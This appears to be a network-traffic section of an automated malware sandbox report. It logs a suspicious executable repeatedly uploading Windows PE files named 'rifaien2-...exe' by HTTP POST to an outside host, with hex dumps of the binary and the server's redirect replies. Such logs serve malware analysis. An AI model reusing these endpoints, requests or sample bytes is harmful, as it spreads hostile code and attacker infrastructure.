Oct 10, 2024 21:01:36.396534920 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:36.401751041 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:36.401851892 CEST	7416	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:36.401937962 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:36.401988983 CEST	4944	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:36.407212019 CEST	4944	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:36.407260895 CEST	4944	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:01:36.407382011 CEST	4944	OUT	Data Raw: 89 df 31 d2 5d 49 1b 80 de c4 89 c8 da 5d e4 8b 83 a9 8b 93 ba 7f 83 83 44 2e 15 47 08 8b 57 0c c6 86 cf 49 00 23 a0 bf f9 44 05 74 10 3b 55 ec 0f 8c 1f 0e 80 be bf 7f 05 3b 45 e8 76 7c 6d b9 a9 ff 0e 80 fe 83 ff 08 74 15 8b 89 cb 83 f9 08 74 0a Data Ascii: 1]I]D.GWI#Dt;U;Ev\|mtt t uA+EU\|=v=@u>;Ht@r7t9@@;x@8@U`~nt1v]AcMOwtXP'$>o5t3CGxu
Oct 10, 2024 21:01:36.407382011 CEST	4944	OUT	Data Raw: ff c7 df 89 c3 9a ff 74 1d ed 4f 08 00 00 50 6a 02 68 13 21 4d b8 01 29 0a 32 1c 04 83 c7 ae 6e a2 ba 4d 00 74 18 e1 75 bc ff cf 75 7f ee 13 ae 42 6d 0f 85 0e 23 57 c5 ac 01 f4 36 01 da 14 92 1a 74 f1 86 77 a5 0f 85 d3 07 ae 4d 80 c7 41 ed 00 37 Data Ascii: tOPjh!M)2nMtuuBm#W6twMA7\E$}p$t?;.]{JtU3;iUujjvT3]'h,? 2$3o0R1y3H*"+6]l8BA<Ai
Oct 10, 2024 21:01:36.773264885 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:36 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:36 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U1QcWPPo%2BON8YlMHCgE2rbVxBgQ4I6GJnZhWnIiVyKRX6sQ9Jsw9mf7bpz%2Fc8QEa2vd1p7jq2D%2FK1WnmeVix6hecyiiBSgCBltkNJdBASlNlw9AxgGzr5cxEtFZesdr7mhkAXtsISZ4x4g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc264cce4337-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49760	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:36.979249954 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------008ec9c9388986e5
Oct 10, 2024 21:01:37.978406906 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 30 38 65 63 39 63 39 33 38 38 39 38 36 65 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------008ec9c9388986e5Content-Disposition: form-data; name="file[]"; filename="rifaien2-7bKKZTcwZ1AvB69O.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:37.978634119 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:38.159945011 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:38.160562992 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:38.160765886 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:38.292196989 CEST	1236	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 30 38 65 63 39 63 39 33 38 38 39 38 36 65 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------008ec9c9388986e5Content-Disposition: form-data; name="file[]"; filename="rifaien2-7bKKZTcwZ1AvB69O.exe"Content-Type: application/octet-streamMZ@
Oct 10, 2024 21:01:38.397248983 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:38.397458076 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:38.397562981 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:38.399102926 CEST	1236	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:38.399485111 CEST	2472	OUT	Data Raw: 43 83 fd fb 3f fb f8 3c 0f 85 20 37 7b fb 83 f8 40 0f 84 ea 17 9e 44 0f 85 09 fe b9 fa 9f 16 7a a4 83 f8 4b 0f 84 9c c5 87 47 0f 84 7d f0 1f e1 ef 0a 83 f8 4a 0f 85 e7 1d 04 78 01 83 f8 4e 0f 84 8c 9a f8 b3 8f 3d 50 0f 85 d0 16 7f 42 83 f8 60 4a Data Ascii: C?< 7{@DzKG}JxN=PB`JqZCT}Uc[g\webcj!&ijSwM=+=ypLp"&jnoN;qS
Oct 10, 2024 21:01:38.399873972 CEST	2472	OUT	Data Raw: 33 17 91 13 a7 40 9d 1f 25 13 d6 cd 0c 00 00 ce 51 0f ec 46 a7 8d 83 fa 69 4c c4 c1 4e 1d 18 89 83 b4 fd fb 86 e7 13 91 c5 09 48 0f 85 84 3f 13 c6 83 f4 76 96 90 30 56 86 12 01 3a aa 82 05 0b 34 0d 66 a8 91 45 2b 13 79 13 f0 98 a1 46 5d 13 8d 83 Data Ascii: 3@%QFiLNH?v0V:4fE+yF]}.,)rv:"9+3+sD6l@U\a)q=$0{?V`03"B ,"0M2w*pT0T&LCH+dBDDqsmXcQ
Oct 10, 2024 21:01:38.399983883 CEST	2472	OUT	Data Raw: 77 8c e2 77 03 00 eb 14 8b 45 dc 60 eb 09 1e 32 1c 2e 62 c7 02 6c 3b d5 fd ff 08 e0 56 36 10 83 78 58 00 74 70 8d 55 f4 c4 ff 1d df 99 93 ce 83 ca ff 76 63 8b 75 f4 8b 43 60 85 f6 79 28 ed fe 7f 17 75 0a 75 08 83 7b 64 00 7f 02 74 48 8b 15 e8 a8 Data Ascii: wwE`2.bl;V6xXtpUvcuC`y(uu{dtHSdRs\jC`$S$J9\|Cd9B\|~BK`CdP)VSSXo/1hUu8uj%1P/@w4PUe"TAP
Oct 10, 2024 21:01:38.400114059 CEST	2472	OUT	Data Raw: c4 18 d8 1d 3e be 50 dc dd 44 eb ef 16 9a 21 3b 2a d8 61 e2 44 f6 87 4a 01 75 c8 d9 c3 86 0a f4 c6 80 a4 00 12 02 bb 81 ff 2b 49 00 80 7d eb 00 75 06 08 38 75 2a 45 a7 83 14 e4 e0 82 75 15 77 f5 85 c1 f0 74 0f b3 01 c4 0f 9b 01 22 d3 bb 70 bc 7c Data Ascii: >PD!;aDJu+I}u8uEuwt"p\|t>@up:1f\UF{1/;nY^N2\|tRRN0e9"-vuj9bEb^AVKQ\Q=04cQS,V2#A9GHj
Oct 10, 2024 21:01:38.692497015 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:38 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:38 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4rlgAw55atv8ytHQzWpczGzn1Jmr%2F0TfpSjLGoPytW3TQF%2BBv8ruqsiqcONoxDLQmDi8pMvcugqFD0dRV4POZm5DXhQ2VkZ8MmGeHnbHQIxxuAOTF1c2%2F9J83JvFnGRj%2FY1VBOQlPlDrJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc2cbcd31a28-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49761	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:38.931776047 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------bcbc777eb0afa494
Oct 10, 2024 21:01:39.429868937 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:39.430794954 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 62 63 62 63 37 37 37 65 62 30 61 66 61 34 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------bcbc777eb0afa494Content-Disposition: form-data; name="file[]"; filename="rifaien2-6R5WtqjpUktSTdyX.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:39.431035995 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:39.436187983 CEST	9888	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:39.436234951 CEST	4944	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:39.436266899 CEST	7416	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:39.440815926 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:39.441169024 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:01:39.441195965 CEST	2472	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:01:39.441247940 CEST	2472	OUT	Data Raw: 83 0a 01 51 84 2c 5c 8b 03 83 3c 30 00 75 8c bf 29 e0 52 89 f3 a5 08 50 50 6a 00 8b 02 11 18 0e a2 9e 55 08 8b c0 16 12 3b f7 3f 4f 83 eb 04 83 ff ff 75 d7 37 5a ff 33 c6 30 cb c5 60 3a 4f 7c 26 8a ff 60 16 eb 1d 47 3b 7d 0c 0f 8c 2c c5 b8 09 13 Data Ascii: Q,\<0u)RPPjU;?Ou7Z30`:O\|&`G;},@-J.}}KtEAta*jD+}V<u0^5MIQ1!Uti~}hukuVEQBP]PPPh#jR< Ht;Er=jvhG
Oct 10, 2024 21:01:39.441286087 CEST	2472	OUT	Data Raw: 89 df 31 d2 5d 49 1b 80 de c4 89 c8 da 5d e4 8b 83 a9 8b 93 ba 7f 83 83 44 2e 15 47 08 8b 57 0c c6 86 cf 49 00 23 a0 bf f9 44 05 74 10 3b 55 ec 0f 8c 1f 0e 80 be bf 7f 05 3b 45 e8 76 7c 6d b9 a9 ff 0e 80 fe 83 ff 08 74 15 8b 89 cb 83 f9 08 74 0a Data Ascii: 1]I]D.GWI#Dt;U;Ev\|mtt t uA+EU\|=v=@u>;Ht@r7t9@@;x@8@U`~nt1v]AcMOwtXP'$>o5t3CGxu
Oct 10, 2024 21:01:39.770895958 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:39 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:39 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z8UDOq1CUdaZSWHOvcDvETtLxnlW2pkLQn%2B2LfjzZ2eC7dKRPeWVTgb7b8DtjqS7iKZd7GCRQS%2BAUyAdAgNb9eg9JxgHWqoC0sHdk1Yt24xRu%2BPmEF%2BOu%2BlR27hTBMpt9SzPckdcj2cQxw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dc391b434210-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49762	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:39.947860956 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------979afb58d44533df
Oct 10, 2024 21:01:40.406353951 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:40.407172918 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 37 39 61 66 62 35 38 64 34 34 35 33 33 64 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------979afb58d44533dfContent-Disposition: form-data; name="file[]"; filename="rifaien2-vHRnMKXku4QndQxg.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:40.407320976 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:40.412314892 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:40.412453890 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:40.412482977 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:40.412520885 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
